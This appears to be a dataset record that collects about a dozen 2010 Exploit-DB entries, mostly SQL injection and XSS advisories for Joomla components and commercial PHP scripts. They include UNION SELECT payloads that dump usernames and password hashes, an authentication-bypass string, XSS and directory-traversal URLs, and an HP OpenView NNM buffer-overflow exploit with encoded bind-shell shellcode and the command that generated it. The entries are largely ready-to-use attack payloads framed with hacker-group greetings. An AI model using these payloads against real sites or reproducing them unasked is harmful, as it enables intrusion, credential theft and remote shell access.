QLWD/code_shield huggingface dataset:
标题: Joomla! Component PaymentsPlus 2.1.5 - Blind SQL Injection EDB-ID: 14265 CVE: 2010-4992 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-07 漏洞利用脚本: Critical Level  : HIGH
Vendor Url : http://paymentsplus.com.au/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
########################################################
#   I'm SiD3^effects member from Inj3ct0r Team         #
#    Support e-mail  : submit[at]inj3ct0r.com          #
########################################################
######################################################################################################
Xploit:BSQli Vulnerability

Demo Url: http://server/games/gambling/add.html?type=[BSQLi]
########################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14265
标题: Sijio Community Software - SQL Injection / Persistent Cross-Site Scripting EDB-ID: 14260 CVE: 2010-2698 2010-2697 2010-2696 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-07 漏洞利用脚本: ########################################################
#   I'm SiD3^effects member from Inj3ct0r Team         #
#    Support e-mail  : submit[at]inj3ct0r.com          #
########################################################
Name : Sijio Community Software SQLi/Persistent XSS Vulnerability
Date : july, 7 2010
Critical Level  : HIGH
Vendor Url : http://www.sijio.com/
Google Dork: © Powered by sijio - Community Software
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Xploit:SQLi Vulnerability 

DEMO URL : http://server/gallery/?parent=[SQLi]
########################################################################################################
Xploit:Persistent XSS Vulnerability

 The following script has persistent xss vuln in the blog section. 
Step 1: Register :D 

Step 2: Goto your blog section and post your new evil blog :P

Demo url :http://server/my_blogs/

Post your evil xss content in the blog section and the url is http://www.axlex.com/edit_blog/

Attack Pattern :">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> 
Step 3 : Now goto the main page,check the blog section and the url is http://www.axlex.com/blogs/ and find your evil script:P
 
The attacker can injected evil xss script in the blog section :D 
########################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14260
标题: Joomla! Component AutarTimonial 1.0.8 - SQL Injection EDB-ID: 14249 CVE: 2010-5003 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-06 漏洞利用脚本: ######################################################################################################
Name :  Joomla com_autartimonial Sqli Vulnerability
Date : july 6,2010
Critical Level  : HIGH
vendor URL :http://www.autartica.be/
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 

AutarTimonial consists of a component to manage  testimonials, and a module displaying randomly a testimonial. This component has multilingual support .  English and French are currently available.

#######################################################################################################
Xploit :SQli Vulnerability

DEMO URL :http://www.site.com/index.php?option=com_autartimonial&view=autartimonial&limit=[sqli]

###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14249
标题: Joomla! Component NeoRecruit 1.6.4 - 'Itemid' Blind SQL Injection EDB-ID: 14250 CVE: 2010-4995 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-06 漏洞利用脚本: Name :  Joomla com_neorecruit BSqli Vulnerability
Date : july 6,2010
Critical Level  : HIGH
vendor URL :http://www.neojoomla.com
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 
NeoRecruit is a recruitment component. It enables you to propose job and internship offers. The offers are classified in various categories and are allotted to a recruiter to which you can give access to the management of his offers from the website.

NeoRecruit it is not simply a system which presents offers, it makes it possible to recover the CV and the covering letters of the applicants when apply to an offer. You thus create a true CV database, manageable from the backend or the frontend for recruiters.

You can thus manage these offers for your company or to propose it to your customers or members. They will be able to propose job offers and to manage the applications from their user account.
#######################################################################################################
Xploit :BSQli Vulnerability

DEMO URL :http://server/index.php?option=com_neorecruit&task=offer_view&id=155&Itemid=[Bsqli]

###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14250
标题: HP OpenView Network Node Manager (OV NNM) 7.53 - 'ovwebsnmpsrv.exe' Local Buffer Overflow (SEH) EDB-ID: 14256 CVE: 2010-1964 类型: LOCAL 平台: WINDOWS 发布日期: 2010-07-07 漏洞利用脚本: # Exploit Title: HP NNM 7.53 ovwebsnmpsrv.exe Buffer Overflow (SEH)
# Date: 07/06/2010
# Author: bitform
# Software Link: hp.com
# Version: 7.53
# Tested on: Windows XP SP2
# CVE: CVE-2010-1964

# Exploit:

C:\Program Files\HP OpenView\www\bin\ovwebsnmpsrv.exe -dump AAAAAAAAAAAAUXf-9Tf-9Tf-9TU\AAAAAAAAAAAAAAAAAAAAAPYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlIxMYC0EPGpCPNiJEP1KbQtLKPRFPLKF2DLNkF2EDNkD2ExFoMgPJDfDqIoEaIPNLElPaQlFbDlGPJaHODMFaIWKRL0QBF7LKBrFpLKQRElFaJpNkQPD8OuIPCDCzEQHPF0LKQXGhNkBxEpEQHSKSElQYLKDtLKFaKfP1KOP1KpLlIQJoDMGqO7DxM0BUJTFcCMIhGKQmQ4CEKRBxLKBxQ4FaN3E6NkDLPKLKBxELEQJsLKC4NkC1HPMYG4GTQ4QKQKCQPYQJCaKOIpBxQOCjLKDRHkMVCmE8GCFRGpC0E8BWCCP2CoPTPhPLQgFFDGIoJuOHNpEQGpGpQ9HDPTBpBHFIMPPkGpIoKePPPPPPBpG0F0G0F0QxJJDOKoM0KOHULIO7DqIKQCE8C2GpFqQLK9HfPjDPCfCgPhIRIKEgE7KOIEBsBwBHH7KYDxKOIoJuQCCcF7PhQdJLEkKQKON5QGOyIWE8QeBNPMQqKON5BHQsBME4C0NiJCBwBwQGP1L6PjGbPYCfKRImBFO7G4FDGLC1FaNmPDGTFpKvGpG4QDPPCfQFF6CvBvBnBvF6QCQFBHQiJlEoNfKOJuK9IpBnF6CvIoP0BHDHOwGmCPKOHUMkJPH5MrF6BHMvJ5MmOmKOJuElDFCLFjOpKKM0BUEUOKG7GcQbBOCZC0CcKON5DJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYY5AZCCX,Y,XP\SX-1UUU-1PPP-N_ZZPSX-zzzd-{zzd-{zzMPCCCCCCCCCCCCCCCCCCCCCCCCCCCC

# Notes: 

This is the result of my research on CVE-2010-1964. Finding this vulnerability locally was trivial but getting
a remote exploit via jovgraph.exe never quite worked out for me. I'm hoping someone will be able to make this
a practical remote exploit. :D

Overflowing many of the other command line options will overwrite SEH as well (e.g. -demo)

Explanation of buffer:

"UXf-9Tf-9Tf-9TU"
Carve out EAX as the base register for the alphanumeric shellcode

"PYIIIIIIIIIIIIIIII7QZ"...
Alphanumeric bind shell
# ./msfpayload windows/shell_bind_tcp LPORT=4444 RHOST=127.0.0.1 R | ./msfencode BufferRegister=EAX -e x86/alpha_mixed -t raw

   \/ Overwrite SEH  
  [  ]
"YY5AZCCX,Y,XP\SX-1UUU-1PPP-N_ZZPSX-zzzd-{zzd-{zzMP"
      [                                           ]
                      /\ Carve out non-conditional jmp to carve EAX code URL: https://www.exploit-db.com/exploits/14256
标题: BS Business Directory - 'articlesdetails.php' SQL Injection EDB-ID: 14241 CVE: 2010-4969 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-06 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Autor : Easy Laster
+ICQ : 11-051-551
+Date   : 06.07.2010
+Script  : BS Business Directory
+Price : $24.95
+Language :PHP
+Discovered by Easy Laster 4004-security-project.com
+Security Group Undergroundagents and 4004-Security-Project 4004-security-project.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
---------------------------------------------------------------------------------------
                                                                                        
 ___ ___ ___ ___                         _ _           _____           _         _
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|         
   
   
----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/Business_Directory/articlesdetails.php?id=
----------------------------------------------------------------------------------------
+Proof of Concept : www.site.com/Business_Directory/articlesdetails.php?id=%27/**/+
uNiOn+/**/sEleCt+/**/1,2,gRoUp_cOnCat%28user,0x3a,pass%29+/**/fRoM+/**/fpoll_config--+
---------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/14241
标题: Lyrics 3.0 - Engine SQL Injection EDB-ID: 14244 CVE: 2010-2721 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-06 漏洞利用脚本: 1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Lyrics V3 engine Sqli Vulnerability
Date : july 6,2010
Critical Level  : HIGH
vendor URL :http://rightinpoint.com/
Price:$99
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 
Key Features

    * SEO friendly engine - all urls looks like static html files
    * Huge database - 128521 lyrics, 8561 albums, 2076 artists, 6429 albums covers
    * New [add-on] Ability to upgrade database to the more that 380k lyrics, 20k artists, 30k albums.
    * New [add-on] Custom skins - we may create custom skin for you or you may buy one of the our predefined skins
#######################################################################################################
Xploit :SQli Vulnerability

DEMO URL :http://server/index.php?new_a=addalbum&artist_id=[sqli]

###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14244
标题: Auto Dealer - SQL Injection EDB-ID: 14239 CVE: 2010-4974 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-06 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Auto Dealer <= SQL Injection Vulnerability Proof of Concept
+Autor : Easy Laster
+ICQ : 11-051-551
+Date   : 06.07.2010
+Script  : BS Auto Dealer
+Price : $24.95
+Language :PHP
+Discovered by Easy Laster 4004-security-project.com
+Security Group Undergroundagents and 4004-Security-Project 4004-security-project.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
   
---------------------------------------------------------------------------------------
                                                                                        
 ___ ___ ___ ___                         _ _           _____           _         _
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|         
   
   
----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/Auto_Dealer/info.php?id=
----------------------------------------------------------------------------------------
+Proof of Concept
+Table : cars_agents
+columns : LastName, FirstName, password, username ,AgentID ,email
+Proof of Concept : www.site.com/Auto_Dealer/info.php?id='/**/uNiOn+/**/SeLeCt+/**/1,2,
3,4,5,version(),7,8,9,10,11,12,13,14,15,16--+
---------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/14239
标题: IBM Bladecenter Management - Multiple Web Application Vulnerabilities EDB-ID: 14237 CVE: 2010-2656 2010-2655 2010-2654 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-06 漏洞利用脚本: [DSECRG-09-054] IBM Bladecenter Management - Multiple vulnerabilities

The BladeCenter management module is prone to multiple security vulnerabilities: Unauthorized Access, Directory Listing, XSS


Digital Security Research Group [DSecRG] Advisory #DSECRG-09-054


Application: IBM BladeCenter Managemet Module
Versions Affected: BPET48L and may be other versions
Vendor URL: http://www-03.ibm.com/systems/bladecenter/
Bug: XSS,Directory traversal, Information disclosure
Exploits: YES
Reported: 05.09.2009
Vendor response: 09.09.2009
Solution: YES
Date of Public Advisory: 05.07.2010
Author: Sintsov Alexey
from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)


Description
***********

The BladeCenter management module is prone to multiple security vulnerabilities:

1 Dinamic XSS
2 Directory Listing
3 Unauthorized Access

Details
*******
1. Multiple XSS vulnerabilities found in bladecenter web management


Examples
*******

http://[BLADECENTER]/private/cindefn.php?INDEX=3%3C/NOBR%3E%20%3Cscript%3Ealert(\'XSS1\');%3C/script%3E&VLANID=&IPADDR=3>%3Cscript%3Ealert(\'XSS2\');%3C/script%3E
http://[BLADECENTER]/private/power_management_policy_options.php?domain=3<XSS>

http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>

http://[BLADECENTER]/private/power_module.php?view=4&mod_type=4&slot=3<XSS>
http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>
http://[BLADECENTER]/private/blade_leds.php?WEBINDEX=3<XSS>

http://[BLADECENTER]/private/ipmi_bladestatus.php?SLOT=3<XSS>&save=1


2. Directory Listing vulnerability found in bladecenter web management

Attacker need to be authorized.

Examples
*******

http://[BLADECENTER]/private/file_management.php?DIR=/../../../tmp/etc


Attacker can get full access to OS files.


3. UNauthorized access

Access to the sensitive data (system logs, cores) can be done by requesting a file:

Examples
*******
http://[BLADECENTER]/private/sdc.tgz


Solution
********

All three issues were fixed in the v4.7 and v5.0

References
*********

http://dsecrg.com/pages/vul/show.php?id=154


About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group focuses on enterprise application (ERP) and database security problems with vulnerability reports, advisories and whitepapers
posted regularly on our website.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com URL: https://www.exploit-db.com/exploits/14237
标题: Joomla! Component NinjaMonials - Blind SQL Injection EDB-ID: 14211 CVE: 2010-4991 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-04 漏洞利用脚本: 1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Joomla com_ninjamonials BSqli Vulnerability
Date : july 4,2010
Critical Level  : HIGH
vendor URL :http://ninjaforge.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 
NinjaMonials is designed to help you quickly and easily collect and display testimonials for your site.

Testimonials improve customer confidence, which in turn improves the ability of your site to convert visitors into customers and members.
Any internet marketing expert will tell you that testimonials will improve the conversion rates of guests into members on virtually any site. By providing guests with 3rd party, honest reviews from customers they get a much more solid idea of how your site and service really is, and are not required to believe only your marketing material.

Testimonials are especially important for a commercial website, but can be just as useful for non commercial sites who want to convert and retain more customers.

#######################################################################################################
Xploit :BSQli Vulnerability

DEMO URL :http://server/joomla15/index.php?option=com_ninjamonials&view=display&Itemid=[Bsqli]

###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14211
标题: Joomla! Component Address Book - Blind SQL Injection EDB-ID: 14210 CVE: 2010-4990 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-04 漏洞利用脚本: 1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Joomla com_addressbook Blind Sqli Vulnerability
Date : july 4,2010
Critical Level  : HIGH
vendor URL :http://b-elektro.no/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
The Front-edit Address Book is a powerful, but easy to use address book component for Joomla. If you are looking for a address book, or just a component that allows users to manage contact information directly from front,  this might be what you are looking for.

Some features:

* Allows users to create, edit and delete contact information directly from front.
* Multiple layouts available ("table", "list" and "single contact layout").
* Some access control based on usergroups or individual users.
* The component is designed to work together with com_contact (the joomla core contact component).

#######################################################################################################
Xploit :Blind SQli Vulnerability

DEMO URL :http://server/index.php?option=com_addressbook&view=contact&Itemid=[Bsqli]

###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14210
标题: Bs Recipes_Website Script - SQL Injection / Authentication Bypass EDB-ID: 14224 CVE: 2010-2670 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-05 漏洞利用脚本: 1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Bs Recipes_Website Script Sqli/Auth bypass Vulnerability
Date : july 5,2010
Critical Level  : HIGH
vendor URL :http://www.brotherscripts.com/
Price:$24.95
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 
BS recipes website allows people to share their favorite recipes with others in the categories that you create. Members can also send an email message of recipes they like to others directly through the website
#######################################################################################################
Xploit :SQli Vulnerability

DEMO URL 1:http://server/Recipes_Website/recipedetail.php?id=[sqli]

###############################################################################################################
Xploit: Auth Bypass 

Use  ' or 1=1 or ''=' in both username and password :D 

###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14224
标题: WikiWebHelp 0.28 - SQL Injection EDB-ID: 14217 CVE: 2010-4970 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-05 漏洞利用脚本: # Version: v0.28 (Possible all versions)
# Vendor: Richard Bondi - http://wikiwebhelp.org
# Download: http://wikiwebhelp.org/release/wwh-0.2.8.zip

# Description: "The goal of this project is to create a help
application that is editable by the community. Standard wiki systems
are great for many applications. The help application and the wiki is
an ideal marriage. The problem with the standard wiki in a help
application is that it leaves you jumping around and does not have the
smooth flow that we have with a desktop chm type viewer. This project
aims to return that smooth flow to your wiki based help application."

# Credit: Vulnerability founded by Canberk BOLAT at ADEO Security Labs
        - Mail: security[AT]adeo.com.tr
        - Web: http://security.adeo.com.tr

# Vulnerability:
In the file named as getpage.php user input don't used in single quotes.

handlers/getpage.php
---[snip]---
4 if($page==null) $page = $_GET['id'];

5 

6 $sql = "SELECT * FROM page INNER JOIN node ON
node.node_id=page.node_id WHERE node.node_id=$page";
---[snip]---

Its successfully exploitable. Please see # PoC section.

# PoC:
Request: http://server/handlers/getpage.php?id=9999999+UNION+SELECT+1,CONCAT_WS(0x3a,user_name,password),3,4,5,6,7+FROM+user+LIMIT+1

Response: admin:21232f297a57a5a743894a0e4a801fc3 URL: https://www.exploit-db.com/exploits/14217